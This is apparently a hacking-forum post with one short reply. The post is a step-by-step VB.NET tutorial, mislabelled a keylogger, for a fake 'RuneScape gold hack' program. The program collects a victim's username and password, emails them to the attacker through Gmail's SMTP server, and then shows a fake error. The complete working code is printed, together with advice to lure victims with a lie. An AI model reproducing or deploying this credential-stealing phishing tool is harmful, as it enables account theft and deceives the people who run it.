[4861636b]

Hey! In this tutorial I'm going to show you how to code a keylogger in VB.NET.

First off, create a lie somewhere somehow. For example, say you have a program that can give you unlimited gold on runescape or something. Post a video about it or something.

After that, open VB and create a new windows form project. Add 3 textboxes, 3 labels, and one button. Next to the first textbox, make a label saying "Your username", then for the 2nd make a label saying "Your password", then for the 3rd make a label saying "Amount of gold". Change the button text to "Hack gold".

Now For the Coding.

Double click the button, and follow my steps.

Firstly, we want to import the necessary things to make this project possible, so add:

Code:

Imports System.Net.Mail

At the very top.


Now for the email part.

Code:

Dim MyMailMessage As New MailMessage()

Declares new email message.

Code:

MyMailMessage.From = New MailAddress("email@gmail.com")

The email will be sent from your email.

Code:

MyMailMessage.To.Add("email@gmail.com")

The email will be sent to your email.

Code:

MyMailMessage.Subject = ("New Victim")

Sets the subject.

Code:

MyMailMessage.Body = ("Username: " + TextBox1.Text + " " + "Password: " + TextBox2.Text)
[/code
Makes the message. In this case it will be the username and password entered by the victim.

[code]
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("youremail", "youremailpass")
        SMTPServer.EnableSsl = True

Sets our email server, which is gmail.

Code:

SMTPServer.Send(MyMailMessage)

Sends the email.

Code:

MsgBox("Fatal Error! 0x23324 Can not connect to account!", MsgBoxStyle.Critical)

Makes a fake msgbox telling the victim that the program failed.

Now, the whole code should look like this:

Code:

Imports System.Net.Mail

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PrimeButton1.Click
        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress("email@gmail.com")
        MyMailMessage.To.Add("email@gmail.com")
        MyMailMessage.Subject = ("New Victim")
        MyMailMessage.Body = ("Username: " + TextBox1.Text + " " + "Password: " + TextBox2.Text)
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("youremail", "youremailpass")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        MsgBox("Fatal Error! 0x23324 Can not connect to account!", MsgBoxStyle.Critical)
    End Sub
End Class

Hope you enjoyed the tutorial!

[Kinanizer]

Not a fan of VB, but thanks for the share,